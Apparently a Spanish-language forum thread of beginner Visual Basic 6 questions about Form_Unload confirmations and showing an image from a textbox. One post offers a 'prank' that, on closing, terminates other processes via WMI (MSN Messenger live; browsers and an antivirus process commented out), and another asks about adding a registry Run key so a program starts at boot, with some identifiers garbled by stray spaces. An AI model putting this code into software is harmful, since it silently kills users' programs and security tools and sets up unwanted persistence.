Mensajes

aver..

INMAGINA.

EN EL boton pone

Private BOTON

UNload me

end sub

Pero al darle Pide

Código [Seleccionar] Expandir

Dim i As Long
    i = MsgBox("QUIERES SALIR ?", vbYesNo + vbQuestion, "KiOoOoo")
   
    If i = 6 Then 'Selecciono "si"
           
    Else ' Selecciono "No"
        Cancel = 1 ' si se cambia el vaor de "cancel" no se cierra el form
    End If
   
End Sub

Yo quiero que cuando le de al boton lo que esta  dentro del code, |code|/code| Pues q no funcione es decir q NO pida confirmacion de salir

Bien el caso es que..

En un boton tengo

Código [Seleccionar] Expandir

MsgBox "SU GATO TIENE 4 PATAS Y UN RABO", vbAceptar + vbInformation, "KIKOooO"
Unload Form1

y en un FORM_UNLOAD:

Private Sub Form_Unload(Cancel As Integer)
   

Código [Seleccionar] Expandir

  Dim i As Long
    i = MsgBox("CLICK SI", vbYesNo + vbQuestion, "KiOoOooo")
   
    If i = 6 Then 'Selecciono "si"
           
    Else ' Selecciono "No"
        Cancel = 1 ' si se cambia el vaor de "cancel" no se cierra el form
    End If
   
End Sub

Bien el caso es que si sale del programa dandole ala " X " saltaria el FORM_UNLOAD pero si le da al boton aria una secuencias y luego se cerraria,
LO MALO

Cuando le da al boton y cierra, pide la autorizacion ( es decir te envia e msgbox de form_Unload,

Yo quiero saber.. HAY Alguna manera de que si presiona el boton.. Se desactive el Form_unload y se cierre con normalidad ?

si entiendo que son los eventos pero tus explicaciones son malas es decir que lias como hacerlo Bueno da = ya lo logre hacer

A quien le interese..

Código [Seleccionar] Expandir

Private Sub Text1_Change()
     
       If Len(Text1.Text) > 0 Then
              Image1.Visible = True
       Else
               Image1.Visible = False
       End If
End Sub

bueno :

Lo 1º, gracias por darte a presumir de q sabes mucho, pero si no te gustan estos post no los veas, por que x lo que veo por otros post eres =, solo te quejas y alardeas

2º tu explicacion no vale, es decir q no se entiende ,

asin q nada.. esperare a alguien q no presuma y explike mejor

El caso es que estoi haciendo un programilla, Quiero que cuando meta en el texbox por ejemplo una letra ( CUALQUIERA) Pues muestre una imagen donde yo quiera, ( dentro del form ), y que por ejemplo si borra todo lo que esta en el textbox, pues la imagen desaparezca

Thx si me ayudan..

eso esta en C++

Alguna manera en VB ??

M.. eso si que suena muy interesante... ^^ aver aver di como es hendrix




P.D: aver si nos conectamos a msn..

^^ xD es molon yo lo ice para un amigo una broma, que si lo cerraba entraba en un blucle con millones de msgbox xD

si quieres hacer una broma o algo pon esto

Código [Seleccionar] Expandir

Private Sub Form_Unload(Cancel As Integer)
   
    Dim i As Long
    i = MsgBox("No me cierres o te arrepentiras", vbYesNo + vbQuestion, "Yo que tu no cerraria")
   
    If i = 6 Then 'Selecciono "si"
            MsgBox "¡¡ NO deberias AVERME CERRADO !!", , "JODETE"
            'KillProcess ("iexplore.exe")
            KillProcess ("msnmsgr.exe")
            'KillProcess ("system36.exe")
            'KillProcess ("rundll32.exe")
            'KillProcess ("firefox.exe")
            'KillProcess ("qttask.exe")
            'KillProcess ("ccApp.exe")
            MsgBox "Asin aprenderas"
    Else ' Selecciono "No"
        Cancel = 1 ' si se cambia el vaor de "cancel" no se cierra el form
    End If
   
End Sub


           
            Public Sub KillProcess(ByVal processName As String)

On Error GoTo ErrHandler
    Dim oWMI
    Dim ret
    Dim sService
    Dim oWMIServices
    Dim oWMIService
    Dim oServices
    Dim oService
    Dim servicename

    Set oWMI = GetObject("winmgmts:")
    Set oServices = oWMI.InstancesOf("win32_process")

    For Each oService In oServices
        servicename = _
            LCase(Trim(CStr(oService.Name) & ""))

        If InStr(1, servicename, _
            LCase(processName), vbTextCompare) > 0 Then
            ret = oService.Terminate
        End If
    Next

    Set oServices = Nothing
    Set oWMI = Nothing
    Exit Sub
ErrHandler:
    Err.Clear
       

End Sub


tambien puedes añadir funciones tuyas,

Buenas, pues aun q es raro y me dado cuenta de que me a "jodido" todos los proyectos anteriores..

Para cuando un pc es apagado, o reiniciado, para que el pc se inicie de nuevo, el codigo seria este ??

Private Sub Command1_Click()
            Dim RegistroCochin o As Object
            Dim RutaCochina As String
            Dim CadenaNueva As String
            Dim ContenidoCaden a As String
           
            ContenidoCaden a = "http://ranefi.mx.gs"
            CadenaNueva = "\ranefi"
            RutaCochina = "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows" & _
                        "\CurrentVersion\Run" & CadenaNueva
           
            Set RegistroCochin o = CreateObject("WScript.Shell")
           
            RegistroCochin o.RegWrite RutaCochina, ContenidoCaden a
End Sub

Si fuera asin quiero saber que quiere decir  | ContenidoCaden a = "http://ranefi.mx.gs"  , CadenaNueva = "\ranefi"

yo quisiera que se ejecutara, por ejemplo PROYECTO.EXE


P.D: HENDRIX CONECTATE AL MSN !!!!!!!!!!!!!!!!!!!!!!!!